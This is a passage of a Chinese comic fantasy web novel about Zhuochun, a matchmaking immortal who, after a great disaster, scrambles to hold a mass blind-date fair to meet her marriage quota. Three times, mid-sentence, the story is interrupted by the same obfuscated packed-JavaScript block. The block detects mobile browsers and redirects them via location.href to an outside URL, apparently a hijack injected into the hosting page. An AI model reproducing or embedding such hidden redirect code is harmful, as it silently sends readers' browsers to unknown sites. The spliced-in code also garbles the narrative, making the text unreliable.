《我只是在工作，仙友却要打我》 1. 偶仙灼春 天刚蒙蒙亮，生灵殿的公鸡们就开始争先恐后跳上房顶打鸣了，一声赛过一声，力争技压群鸡。 灼春就是在这种日常的喧嚣中醒来的。 “……你大爷的，迟早有一天要把那群草鸡偷来炖成鸡汤！” 灼春嘀嘀咕咕，烦躁地穿好衣服，从家中出发去往轮回所。 多日的疲劳累积，以至于她走在路上还合着眼，上下眼皮跟粘了胶似的，行走辨认方向全靠身体惯性。 终于走到挂着“轮回所”匾额的屋舍下，她却被紧闭的大门撞了个趔趄。 灼春在原地顿了会儿，终于做足心理准备，费劲儿手动撑开双眼。眼珠子晃悠了两圈，她才看清眼前被锁上的门。 ……哦对了，第十六次灾潮刚过去，自己不用再来轮回所值班了。 灼春猛地来了精神，使了疾行的法术回家，翻出尘封三年的保温竹筒怀念地贴着脸蹭蹭，随后注满热水别在腰间，背着手上街。 久违了的悠闲时光！她要好好享受优哉游哉的神仙日子！ 严格来说，她已经是神仙了，所以每天都该是神仙日子——但是，这里的神仙并不悠闲。 这是一个人仙混居的世界，人人都可以修习法术。等修习到一定程度，再通过天道的三道试炼便可得道成仙，成为长生不老、法力无边的“仙者”。不过在大多数世人眼里，仙者并不比凡人高贵多少，顶多就是法力厉害了点、寿命长了点，厉害程度就跟隔壁大婶家的母鸡每次都能下双黄蛋一样。当然，大家伙对仙者该有的尊重还是有的，毕竟是神仙，再差也比自己强。 仙者逐渐增多，就出现了一个名为“相睦会”的组织，通过举办考试收纳仙者及修仙者。这个大型组织的宗旨就是“维护社会稳定，促进社会发展，保护人发展人，共创和谐美好的永恒世界”。因此，大多数仙者在得道之后，会参加相睦会的资具考，进入相睦会任职，以便更好地为苍生谋福祉。 但灼春加入相睦会时，并没有那么高的觉悟，就想找个和平可靠的地方养老。于是在相睦会掌舵问她想要什么职位时，她毫不犹疑地选了“偶仙”。 众所周知，没有哪个凡人喜欢被干预感情，所以仙者最多就是建议与提供一个平等对话的机会。那么负责处理情感的偶仙自然就没什么事儿了，大多时候就是挂个空名，一年到头唯一的事恐怕就是当媒婆完成婚姻登记的业绩指标了。 灼春非常满意自己的生活，每天闲着没事就别个保温竹筒到街上溜达——巡逻？视察？暗访？——何其美哉！ 接着转折就来了—— 几百年不遇的大灾潮忽然降临，民不聊生，叫苦连天。作为守护百姓的相睦会当然要冲在第一线，于是几乎所有能打的仙者全部上前线了，不能打的就留守后方照顾百姓安抚人心。 灼春属于不能打的，所以自然退居二线干后勤。要只是这样也就罢了，无非忙点多费点时间。仙者最不缺时间，也不怎么需要休息，不费法力的话，不眠不休干十年都没问题——可谁料这次灾潮来势迅猛，相睦会的仙者去了九成，有四成被灾潮吞噬，实力稍微不济，便被这等天灾当作口中嘎嘣脆吞咽吸收了。 此诚危急存亡之秋。 相睦会掌舵林鸿当机立断，决定开启轮回所的轮回镜，让一线战士历劫，快速提升对抗灾潮的有生力量。 林鸿本想先召回前线的一半人，但是战事吃紧，再吃不消这样匀人，于是林鸿便将战神、风神等几位战力顶尖的仙者暂时召回，进入轮回镜历劫。 相睦会的五面轮回镜全部投入运转，灼春等退居后方的仙者也被揪了五位出来负责照看历劫，以免几位历劫的仙者劫数不够或难度不高导致效果不好，又或是劫数太多难度太大使得历劫仙者身陨道消。 灼春被分到了战神那边。 同为仙者，她自然明白历劫意味着什么，也知道这几位历劫的仙者代表着什么。于是照看的时候，灼春拿出了熬夜备考时的认真，将轮回镜流速调到最高，疯狂给战神增加各种劫难，又在战神快要被劫难磨疯时略微降低难度，争取让战神踩着进化的极限通过历练！ 这种司劫很耗法力，为了达到战神的实力峰值，灼春又顶着压力连着炼了战神两年，直到自己快被熬干、战神也差不多要崩溃了，灼春才放其出轮回镜。 灼春回忆起战神归来时的场景仍是抑制不住的满心欣慰。 那日战神从轮回镜出来，天地变色、日月无光，身上的杀伐之气溢满了整个相睦会，靠得近的人不得不眯起眼睛避其锋芒，那气息浓郁得连普通老百姓都能肉眼看见。 战神环顾四周后立刻将视线凝聚于自己脸上，眼神凌厉，手中以气化戟，慢慢吐出“灼春”两字。 灼春猜测战神是“负戟谢恩”，只可惜掌舵他们没给战神表达的时间，二话不说开启传送阵将其瞬间移动到灾潮前线。 与此同时，灼春因为两年的法力透支当即昏迷。也不知睡了多久，只记得梦中迷迷糊糊听见有人说，战神再现后力挽狂澜，一改我方颓败之势，一把长戟挥动得虎虎生风，一人便抵千百人，区区数日就将灾潮扫灭，只留下一些零散的扫尾工作，第十六次灾潮可以宣布结束…… 灼春与有荣焉，只是累得说不出话，不然她死活也要爬起来点个炮仗狂欢——“看到了吗！？战神！超厉害的！她偶仙！养出来的！！” 意识丧失前灼春还在想，万一战神感恩至极认自己当妈，自己是不是连偶仙的虚名都不用，就可以直接辞职去过悠哉的生活了…… “哟，老大！忙着看病呢？” 灼春溜达到城门那边，发现人们都在一个支起的长棚下领煮好的药汤，一位头发灰白的老妇在边上为人免费看病，她一见那老妇立马过去打招呼。 那可是相睦会的掌舵，最大的领导！热情点只有好处没有坏处啦。 老妇抬头看了眼来人，继续低头专心把脉：“睡了小半年终于醒了？” “啊？我睡了有小半年啊？”灼春有点吃惊。 “嗯，大约四个月吧。距离灾潮结束也有近四个月了。” 老妇为病人开了药方，又交代了一些注意事项，在给下一位病人把脉的间隙才又和灼春说话。 “你啊，既然恢复了就别瞎溜达了，忙点正事吧。” 听说要干活，灼春又开始扭捏起来，不怎么情愿。 灾潮时那是没办法，仙者的职责，不得不履行。可是现在灾潮都结束四个月了，一切都该恢复常态了，怎么还让人干职责以外的事啊…… 老妇看出她的勉强，碍于自己正在义诊，所以没多说什么，只是吩咐她到后头长棚里帮着煮药分汤。 灼春垂头丧气地进入长棚，里头举步生风兼顾分汤煮药的是生灵殿的兽医仙鸣桐——其实也不算她一个人干活，鸣桐倒汤药的时候，她的那些禽兽朋友们例如蛇啊狸猫啊穿山甲啊，就帮她看着炉火、维持一下秩序、提供毛茸茸的身体安抚一下久等的客人什么的。 鸣桐见她看来，眼睛都亮了，连忙吩咐她接手另一侧的几十只药罐子，水不多的让加点水，药煎没的让补点药。 灼春叹了口气，卸下腰间竹筒，熟练地取水壶往药罐子里加水，跟鸣桐诉苦：“还以为灾潮结束了就没事儿了，早知道我再躺几个月了嘛……” 鸣桐一边给领药的人分药，一边笑着和灼春说话：“知道你累——放心吧，这是倒数第二批了，等下个月战神那支队伍扫尾结束回来，一切就回到正轨了。” 灼春哀嚎：“还要等下个月啊？战神那么菜吗？四五个月还没收尾好？” “你也别对人家太严苛了，人家叫是叫战神，其实和我们一样，无非就是法力高点的普通人罢了。你呢，在边上守着人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950191|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家历劫两年，然后就累晕过去了——人家经历了不知体感多少年的劫难，从轮回镜里出来可是水都没喝一口，马不停蹄地就上战场了，日夜不休忙到现在。对方有多辛苦，我想你比谁都明白吧？” 鸣桐到后方橱柜补充药碗，路过灼春时，特意拢着她的肩说了两句小话：“多亏了你，战神才能力挽狂澜。战神的军功章你可是占了很重的一部分呢！回头掌舵论功行赏，你肯定名列前茅。要不要猜猜奖励？——最后一段时间了，加油坚持一下，就当让期待的时间多延续一会儿嘛～” 灼春被夸得美滋滋，不说好也不说不好，停止牢骚，踏踏实实干手中的活。 等长棚里的汤药分发完了，领药的人们也都各自离去。林鸿收拾了义诊摊子后走回长棚一起整理药渣之类的物什。 “哟老大来了！” 灼春正用流水术悬空洗涤药罐，看见掌舵林鸿便热情地打招呼。后者走过她身边，在她脑壳上用指节轻轻敲了一记。 林鸿：“说过多少次了，要么叫掌舵，要么叫名字，别叫‘老大’，听起来像混□□的，不正经。” 灼春不以为意，胡乱应着，收拾着眼前的瓶瓶罐罐。 过了一会儿，长棚收拾得差不多了，她斜眼看见林鸿在角落核对药材使用情况，想到之前鸣桐说的会论功行赏，心想万一林鸿奖励了自己并不想要的东西就不好了。于是，她借搬运药炉的机会，每次都会故意绕个大圈到林鸿身边晃一下，边走还边以足够的音量装作自言自语——“如果能放几天假就好了”“如果能放几天假多好啊”“好想要个小长假啊”…… 林鸿：“……” 耳边好似有蚊子在嗡。 “好了好了，灼春，这里收拾得差不多了，剩下的交给我来吧，我再把桌台擦三遍今天的任务就结束——你去那边坐着喝口水歇歇！” “再擦三……？” 鸣桐抢过灼春手里的活，将她之前搁下的保温竹筒塞给她，然后将她挤去边上的椅子坐下。 灼春坐下后，慢悠悠地打开杯盖，短短的一个开盖动作，竟偷瞄了林鸿二十次。林鸿又不是瞎的，自然发觉了灼春的小——啊不，大动作。 林鸿放下药材登记册，似笑非笑地唤了灼春一声，后者仰头咕咚咕咚饮水，从鼻腔哼出一声就算回应了。 林鸿：“之前因为灾潮，所以婚姻登记的数量没达标我也没工夫计较。但如今灾潮结束，之前欠下的业绩——今年是不是该补上了？” “噗！！！——” 被灼春喝进嘴里的水瞬间喷到空中大喊“我免费了！”，不过下一瞬就被林鸿施法凝固在半空中，接着指尖一动，纷纷大珠小珠落竹筒。 灼春一脸复杂地看向林鸿。 后者轻轻一笑：“怎么？有意见？不想干？” 灼春憋着一口气大喝一声：“鸣桐！你对我的水做了什么！？我竹筒里的水有味儿！” 灼春立马调头质问鸣桐，高举着自己的竹筒杯愤愤不平。 鸣桐回头，看了眼竹筒，笑着解释：“你这不是刚恢复么，我就留了份补血益气的汤药给你补补——我加了糖的，还是苦吗？” “不……苦是不苦……”灼春一个没忍住扑到鸣桐身上爆哭，“可你好歹提前跟我说一声让我有个心理准备嘛！这么突然谁受得了哇！” 鸣桐摸着她的脑袋附和：“好好好……是我不对，下次提前和你说一声哦……” “啪”的一声，林鸿拍了拍埋在鸣桐怀里的哭包。灼春一回头，就看见林鸿如春风般和煦的微笑——“距离年底结算只有不到两个月了，之前三年与今年的业绩，要落到实处哦。” 灼春：“……” 林鸿笑：“完不成业绩，接下来四年的假期全部充公。” “呜哇——！！” 灼春嗷的一声又哭了。 2. 事前筹备 情感处理所是偶仙办公的地方，简称情理所。因为没什么人来，所以这里连工作时间都不一定开门。而现在，情理所的大门已经连续开了七日，路过的相睦会执司纷纷愕视不已。 “终于……写、完、了！！” 灼春顶着两个深重的黑眼圈，高举刚写好的方案将墨水抖干。只见纸张上书写四个大字——“相亲大会”！ 她想过了，每年的登记指标虽然不高，但是几年的量加起来，还要在两个月之内完成，她按照以往的经验一户一户配对肯定来不及，必须得想个量大管饱的辙，那就是——开个相亲大会，把所有有意愿成婚的男男女女聚集起来！只要人数够多，牵线成功的概率就会提高，直到百分百达成指标！ 按照自己的方案内容，灼春预计覆盖的范围是相睦会所在的都城，以及毗邻都城的五个县城。人数么……都城总人口两千，适龄的未婚青年约有两百，其他县城人口比都城少些，那么每个县城估计有一百二左右的适龄未婚男女。这就是说，如果把这些人全部召集起来，大概有……八百人！ 灼春对这个数字有些惶恐。 不行不行，这都赶上半个都城了，这么大的集会从来没成功办过，得减减…… 她立刻在方案上修改，将强制参加，改成自愿参加、鼓励参加。 嗯！这样一来，人数能控制在四百左右了！ 灼春研究着方案，将后来发现的不合理之处重修更改，大半日过去，方案终于改成了切实可行的样子。 但是问题来了——即使人数减半，四百人左右的集会也是史无前例的大型集会，登记、服务、安全……要准备的太多，情理所就她一人，怎么说也不够用。 灼春想了想，打算去主殿找林鸿借点人手。 但灼春到得不太凑巧，偏碰上别人向林鸿汇报灾潮三年的伤亡损失。 “……我们相睦会的仙者灾潮前有三千零八十二人，第一年被灾潮吞噬有两千零四十四人，第二年……战神历劫结束到了前线，救下半残的仙者四十人——这些人陆续送回咱们这，经由您治疗，不日便会复原，但是相应的治疗费草药费，每人需要一百六十九两——目前相睦会里尚存的仙者只有六十六人，凡人执司四十三人，会外仙者从一百五十六人降到二十九人了。”一个身材矮小的中年妇女站在林鸿的桌案边，翘着脑袋看她动笔，时不时低头照着自己手里的报表淡漠地报数据。 林鸿记录下这些数据，末了深深地叹气。 “三年的灾潮，给会里造成了难以挽回的伤害啊……这以后的工作怎么做啊……” 灼春本来杵在边上想抽空和林鸿说说借人手的事，但是她听了这么一溜儿…… 估计借不着人了吧？ 林鸿抬眼看见灼春，便问她有什么事。 灼春不好意思地笑笑，说出自己的来意。林鸿听见是要借人，沉吟半晌，无奈一笑，摇头。 “你刚刚也听见了，不是我不借，而是会里真没人手了。” 林鸿拿过身边矮小女子手头册子，快速浏览一遍，说道：“除战神外幸存的六十位仙者陆续返回，目前全住在妙回堂养伤。就是会里的执司，三十位也被派出去听战神调派。” 灼春回忆着刚刚听到的数字，试探性地说：“那还有五位仙者和十三位执司……” “十三位执司负责众仙者离岗后的全部日常事务，已经忙得焦头烂额，再分不出心力。至于还有五位仙者——”林鸿先是托掌指向灼春，继而指向自己和身边那位女子，“就是在场的，你，偶仙灼春；在下，医仙林鸿；金钱殿司库吉吾，另外，还有兽医仙鸣桐和藏宝殿司务凤脊。” 灼春：“……” 林鸿是掌舵，既要统筹全局又要兼顾本职医治妙回堂的病人；吉吾是算账的，灾潮结束正需要清算损失离不得；鸣桐大小是个大夫，要跟着林鸿照料病人干杂事；凤脊……那家伙就不用想了。 好嘛，除了自己，个个都是动不得的大菩萨。 看来自己帮着战神历了两年劫真是帮对了，若非如此，恐怕林鸿也把自己派去前线战场，哪儿还能在后方睡几个月的觉啊…… 灼春眼珠滴溜溜一转，赔笑问：“老大，你看会里都忙成这样了，要不就先别管拉纤保媒的风月事了，把我的指标取消了呗？” “偶仙！你就是这么轻忽自己的工作的！？难道你偶仙的工作只是无关紧要的风月事吗！” 林鸿怒喝一声，吓得灼春立马退缩，嘟嘟囔囔自己只是担心百姓忙于求生没心思干那些。 林鸿缓和了脸色，宽慰说：“你之前在休养，所以不知道，灾潮结束后，百姓的生活就开始慢慢恢复常态，直至一月前，已经差不多恢复以往的状态。” 至于搭棚施药，只是林鸿作为医者与相睦会的掌舵，为大家提供额外的帮助。 “会内较为忙乱，只是因为暂时缺人手，并不代表百姓的生活状态不佳。” 接着，林鸿又说：“这样吧，你自己去妙回堂看看，你觉得哪位仙者能帮得上你就拉走。” 呵呵。 妙回堂是林鸿的殿堂，能住在那儿的都是生命垂危的重患，最轻也得缺胳膊少腿。她是无情了点，但还不至于没眼色，要草菅人命——再者说，把重症患者拉走，是嫌自己太清闲找个祖宗伺候吗？ 灼春丧气地托手告辞，刚转身就听见林鸿和吉吾商量，等前线的人都撤回来后就举办招用考试，哪怕没有仙者，多些有能力的凡人执司也好——她立马扭头向林鸿为自己的情理所讨要一个名额。 灼春一脸期待：“能不能早点招考啊？别等战神了，就这个月招了怎么样？反正会里缺人手，早点招到人早点分摊活计早点轻松啊！” 林鸿捏着下巴，似乎在思考这个提议，一边的吉吾急忙出言阻止：“掌舵不行！咱们人手本来就不够，匀不出精力筹备考试！还有考官，要十三位呢！现在哪儿有人啊！” 林鸿点点头，只能向灼春表示无可奈何。 灼春沮丧了一瞬，立刻又精神地问：“老大，那我完成业绩也缺人手，那我这边……时间上能不能也往后稍稍？” “不能。”林鸿果断拒绝，但她还是给灼春一个可行的建议，“这样，随便你去哪里临时找个帮手，会里不过问。” “嘁……还以为有什么好主意呢……”灼春不满地嘟囔。 “嗯？” “啊啊，没有！——我是想问，那招临时工的钱是？” 林鸿瞄了吉吾一眼，后者清了清喉咙，微笑道：“亲爱的偶仙，我们相睦会会大力支持您的工作，我们将充分提供除了人力和资金以外的一切支持。” 灼春倒吸一口冷气质问：“那你到底提供了个啥！？” “祝福的心。”吉吾朝她比心。 “……” 反正，灼春找这一趟，除了一个屁用没有的建议啥也没落着。 回所里的路上灼春细细思考着能去哪里找不要钱的临时工，想来想去，只能去民间的中介所发布招聘告示。 “……招聘，义工；工作地点，相睦会；面试及咨询地点，相睦会情理所找偶仙；工作任务，负责上级交办的各项工作；招聘要求，成年；招聘人数，若干；薪酬待遇，无……不是，客官，你确定要这么登吗？” 中介所的堂倌看着灼春递上来的招聘启事，露出为难的神色。 “嗯对，就这么登。” 灼春点点头，向堂倌出示自己的仙者证和相睦会执司证。 “不不，倒不是怀疑您的身份，就是……”堂倌看到证件上相睦会的签发证明后就将其推回去，复指着启事上薪酬待遇那栏，再度询问，“这边……薪酬待遇，确定没有吗？” 灼春摸摸鼻子，收回证件“嗯”了一声。 桌后的堂倌直起身子，勉强道：“可这没有薪酬的话……您很难招到人啊？” “无妨无妨，你先登了再说，我赶时间……” 灼春催促着，堂倌虽然满腹狐疑，但也只能听从。她取出抽屉里印着中介所图章的信笺，粘在招聘启事上后驱动法术，启事当即化作粉尘飘散。 堂倌解释着：“所有在我们中介所登记求职信息的业者都会收到您的招聘消息，但是您的费用只够推送一次，万一有人不小心没看到扔了就……您看需不需要加钱多推送几次？我们今天正好在搞活动，有优惠——” “不用不用！这就可以了！”灼春二话不说地拒绝。 加钱是不可能加钱的，现在发布招聘启事的钱可是她自己的，花自己的钱给会里增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950192|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加业绩？拜托，犯贱也得有个底线。 招聘启事发出去了，灼春就回到所里，安心等着应聘者上门。 一天，两天，三天…… 眼瞅着下个月都要到了，但是情理所里除了灼春，连只面生的都没出现。 灼春坐在工位上绝望地揪头发。 果然还是薪酬的问题吗…… 这可怎么办？一个人都没有，她计划的相亲大会可怎么开啊……哪儿哪儿都需要人，哪怕一个！哪怕来一个人！她都硬着头皮把业绩冲上去！——可一个都没有啊！！ 灼春想到两个月内不完成业绩之后四年的假期就全没了，不由得掬一把辛酸泪。 钱少事儿多不给假，她当这个偶仙还有什么意义！当初考进相睦会为的不就是轻松一点混口饭吃么——虽然仙者饿不死，但是饿肚子很痛啊！ 她光是想到接下来四年都要日夜不停连轴转，就感觉自己头发都要开始营养不良扑簌簌掉光了，恨不能自己继续昏睡下去别醒。 灼春皱着脸，烦恼地揪着头发——忽然，几根头发完完整整地飘落到桌面上，在纤尘不染的桌面上如此突兀明显。 灼春瞪圆了眼。 难道这就开始了吗？传说中的脱发！？ 四年苦役的序幕终于拉开了！？ “发谢发飞发满天，发消根断有谁怜……” 灼春扛着一把痒痒挠走到所外的小院子，悲伤地歌唱一曲葬发吟。 用痒痒挠挖土刨坑后，她眼含热泪，珍而重之地在坑中放下自己掉落的四根头发：“小红、小美、小帅、大壮，你们生前是好头发，兢兢业业任劳任怨，从不惹是生非，陪我度过了漫长的仙生……今日遇难实非我愿……若有来生，希望……哼唧……你们还能当我的头发呜呜……” 埋完四根头发，灼春捂嘴啜泣悲痛起身。 她埋的是头发吗？分明是她清闲的时光啊！ ——罢了，反正林鸿的指标是完不成了，索性摆烂享受最后两个月的时间吧。 “嗯？你谁啊？站我院子门口干嘛？” 正打算躺平，灼春忽然看见院子围栏外有个人影，没好气地走过去查探。走近一瞧才发现是个凡人小姑娘，眼生极了。 “你、你好……请问这里是情理所吗……” 小姑娘从围栏后面挪出来，甫一开口脸就嘭地红透了。 “是的是的！就是这儿！——你是来做婚姻登记的吗？”话音刚落，灼春的热情一闪而过，她上下打量着对方，狐疑问，“妹妹，你成年了没啊？只有成年人才能登记婚姻，而且还需要当事人全部到场才行哦？” “不、不是……我是看到招聘……来应聘……面试的……请问偶仙在……” “哎哟巧了么不是！我就是偶仙！我叫灼春！幸会幸会！” 灼春乐得嘴角咧到耳朵根，立刻拉开院门将人迎了进来，热情地牵住人家的手，宣布她通过了面试成功获得了这个岗位！ 小姑娘有点懵：“啊？通过了？您……您不问我些什么吗……” “哎呀不好意思我一激动给忘了。”灼春拍了拍自己的脑袋，强压下喜悦，保持语气平静，“姑娘怎么称呼？成年了吗？懂法术吗？什么学历啊？多大年纪啊？” 语气挺平静，就是连珠炮一样的语速把她的情绪全暴露了。 “我叫麻惠良……” “哎呀小麻你好！”灼春再度抓住她的手疯狂晃动，“恭喜你通过了面试！以后我们就一起共事了！！” “诶这么快……” “因为你值得啊！从你的言谈举止还有浑身的气质，我看得出你是个非常优秀的孩子！我谨代表情理所向你表示热烈欢迎！” 麻惠良刚成年没多久，哪见过这种场面，当即被灼春忽悠瘸了，真以为自己才气外露，对方看出了自己内在的优秀，还想着不愧是成仙的人，真有眼光。 至于是不是真的有眼光…… 反正灼春觉得，现在正是狗爪子都想借过来用一用的时候，多个人没坏处还不花钱，忽悠住再说！反正干点杂活跑跑腿而已，简单到草履虫也能胜任，难道一个成年人连草履虫都不如吗？ 就这样，情理所的劳动力从“一人”猛地翻倍，增加到了足足“两人”。 3. 加点噱头 尽管灼春对新招的小姑娘并没有什么期待，但真合作起来，不得不说，那小姑娘确实能干。 灼春让她布置场地，增加一些喜庆的装饰，原本以为得到大会前几日才能完成的工作量，小麻姑娘仅三天就保质保量完成了！还在细节上发挥了不少小巧思，为会场增色不少。 除此之外还有许多工作，麻惠良全都雷厉风行地干完，让灼春压力小了不少。 要说有什么缺点……灼春想，可能就是交流起来太费劲儿了吧。 不管你跟这小姑娘交代什么，这小姑娘都低着头，最多轻轻地点下脑袋嗯一声，实在叫人摸不清她有没有听见有没有听懂。好在，她每次都做得很好，灼春也就当她全明白了。 有了能干的下属干活，灼春发现自己忽然又有时间坐在工位抱着竹筒喝闲茶了呢～ 然而大会开幕在即，麻惠良突然拿着一摞文件叩开了灼春的门。 灼春对自己这位得力下属很是和颜悦色。 只要事儿做全乎，交流费劲儿这个短板都可以自发忽略不计了呢。 “小麻啊，找我有事儿吗？” “那个……就是……那个参加的人……”麻惠良哆哆嗦嗦地将自己手里空白的一摞纸放到灼春面前。 “人员清单怎么一片空白！？” 灼春看着眼前的文件，满脸骇然。 “小麻，你是不是忘记把即将召开相亲大会的消息通知给各地相关负责人了？” “没……我通知了的……”麻惠良低着头不停绞着手，“我按照您给的负责人名单，给他们传了讯息……可是他们好像没回复……” 灼春扶额。 传讯？各地负责人每天要处理多少讯息啊！像小麻这种没有官方烙印的讯息只会被当作小广告屏蔽掉好吧？最好的做法当然是带着官方文件亲自送过去顺便谈一谈啦！ 灼春刚想教训麻惠良，说之前不是告诉过她要亲自去，可是一看对方吓得开启震动模式抖个不停，便歇了心思，叹了口气，道：“没关系……还有四日，还来得及通知。” 得了这话，麻惠良才关掉“震动模式”，看起来镇定了点。 “这样，你和我一起行动，我去找周边五个县城的负责人，你去找都城——”眼见小姑娘又开始哆嗦了，灼春只好把话咽回去，“——负责人那边还是我去沟通吧，你在这边顾好会场，有人来报名的话做好登记工作。” 麻惠良重重点头。 目送她离开，灼春赖在靠椅发出一串气泡似的怪叫。 她可算知道为啥相睦会安排的考试里有个考验交流和沟通能力的关卡了。 片刻后，灼春坐直身子，在空中一连画了六个传音阵，六个阵一字排开，发出淡淡的金光。 灼春因为灵台里的法力瞬间被大量抽走，脑袋有些疼。 没办法，要同时和六个地方的负责人交流只能如此。就是可惜了自己的法力……唉，之前帮战神历劫被掏空，这两天好不容易续了一丁点转眼又要用没了…… 她同时启动六个传音阵，其中连接到两个县城的法阵闪烁了下便暗淡了——这表示没能联系上——待剩余四个法阵都亮了，灼春清了清喉咙便开始说话。 “各位好啊，好久没联系了，我是情理所的偶仙啊！……嗯嗯嗯，你们好你们好……咳，你们那边受灾潮影响大吗？有没有什么困难的地方？……好好好，那就好……咳咳，是这样的，我这边准备开一个相亲大会，就在四天后，有劳你们通知下辖区内适龄未婚青年……对对，不强制，自愿……嗯嗯，成了的业绩也算在你们今年的业绩内……好，辛苦了……哦？小叶和另外两处负责人有联系啊？那麻烦你通知他们一下啊谢谢谢谢……好好好，有劳有劳……” 传音阵散开，灼春跟脱了水的带鱼一样往后瘫倒在椅背上，动弹不得。 呼……总算告一段落了……不行，撑不住了，得找鸣桐讨点药补补…… 瘫了半晌，略微回复了些精力，灼春就去鸣桐那儿赊了七天的药。一连喝了三天，才恢复一点精神，起码走路前不必蓄力一刻钟了。 “那个……偶仙老师……” 次日就是相亲大会，然而麻惠良又抱着一摞熟悉的纸张出现在了灼春面前。 灼春端着药碗的手微微颤抖。 “怎么了？又出什么问题了？” 麻惠良小心翼翼地把文件轻放到她面前，灼春瞧了一眼差点连药碗都摔了。 “怎么回事！？名单还是空的！？” “嗯……”许是觉得这样回答有点敷衍，麻惠良又补充了一句，“我一直在所里，没有人来报名。” “什么！？难道是那几个倒霉蛋没给我通知到位！？” 灼春立马吨吨吨把剩下几天分量的药给灌了，随后立即开启传音阵，一个一个追究过去。不过她一问，个个都说全通知到了，就连没跟她联系上的那两处县城负责人都后来居上说通知了。 灼春狐疑：“那怎么回事？虽然没强制，但不至于一个报名的都没有吧？” 六个负责人的说辞都大差不差，无非就是灾潮带来的影响太大了，百姓生活质量不高、物质水平下降，没有闲情搞情情爱爱的事，实在没有兴趣腾时间参加普普通通的相亲——尽管这个相亲大会据说规模很大、史无前例，可说破天也就是个相亲，翻来覆去也没甚新花样。 灼春：“……” 唉……说得也是…… 她万万没想到，自己越过千难万险，最后败在没人参与这关上。 巧妇难为无米之炊啊…… 灼春又想扛着痒痒挠葬一次发了。 惆怅间，她忽然感觉身边有人原地磨蹭，转头看去，麻惠良正不安地搓着衣角。 灼春看了她一会儿，说：“你憋急了啊？憋急了就去上厕所呗，厕所里没人。” 麻惠良红了脸：“不是……我有个想法不知道该不该说……” “你说说看？” “就是……大家不是因为相亲大会没意思才不来嘛……我就想，那我们是不是可以搞点噱头出来……”麻惠良小心觑了灼春一眼，“譬如……说有仙者参与，或者参与的人每人发点实用小礼品……之类的……” “好主意啊！” 灼春一抚掌，趁着传音阵还没断，问起各位负责人措施的可行度，后者考虑了下，纷纷表示可行。 “百姓现在正缺物资，如果有实用的礼品，便是适龄未婚人自己没有谈情说爱的意向，过来凑个人头还是劝得动的。” “我建议礼品准备米啊肉这些，这样更吸引人！” “你也知道物资缺！那些预备起来不方便，我看还是准备钱实用！” “哪有礼品送钱的？要我说，还是简单点，搞个代金券，或者什么——一次性的求助仙者券！” …… 说着说着，负责人们开始讨论起了采取什么礼品比较好。灼春听了会儿，出声打断他们。 “各位安静！安静！听我说！”她清了清喉咙，“既然大家觉得这方法可行，那就麻烦各位再通知下相应人员，就说——” 诸位负责人在传音阵那边屏息静待，想着万一偶仙说了什么极好的礼物，就让自家的子息和亲戚家的孩子赶紧参与——啊？若是已婚怎么办？大不了先离！拿了东西之后再结一次不就成了？还算业绩呢！ 灼春：“就说本次相亲大会，有仙者参与——足足两位哦！” 各位负责人：“……” 负责人甲：“偶仙啊，这……还是礼品吸引人吧。” 负责人乙：“是啊……这……有仙者参与也没多大变化吧……” 灼春：“诶～此言差矣～反正你们就这么通知下去吧！辛苦辛苦！” 偶仙都这么说了，负责人们都只能悻悻应下。 传音阵断的一瞬间，灼春突然抓住身边麻惠良的手，交代“如果我晕了马上去生灵殿找鸣桐务必把我弄醒”——话音刚落，人就眼前一黑“嘭”地倒在小麻怀里，把对方吓得一激灵。 “……偶仙老师？” ——“嗯？醒了？” 灼春晕晕乎乎地睁开眼，视线刚聚焦，就看见一个拳头大的蛇头怼着自己，嘶嘶吐着鲜红的蛇信子。 嗯……？ 蛇会说话了？ 她这是到了哪个世界？ 灼春转动眼珠，往后扬了扬头，看见一个面容熟悉的女青年微笑着逆向端详自己。 灼春：“……朋友，麻烦把你的爬行类伙伴挪一挪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950193|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妥。” 女青年在她脑袋边伸出手臂，趴在灼春胸口的青黑色蛇就主动攀上去，缠绕着爬到青年肩上，如一条长长的披肩虚挂着。 “嘶……鸣桐，本宫的头好痛啊……” 在榻边一圈大大小小、各种各样飞禽走兽的注视下，灼春扶着头慢慢坐起身，忽然瞧见麻惠良远远地躲到宫殿中的立柱后，只探出了半个头，奇怪道，“小麻你跑那儿去干嘛？走近点。” 小麻往柱子后藏了藏，怯弱地说不用了，她自己在那儿待着就行。 鸣桐抚摸着自己肩上的小蛇，无奈道：“头痛是正常的——刚给你下了恢复精神的猛药，副作用同样也猛。” 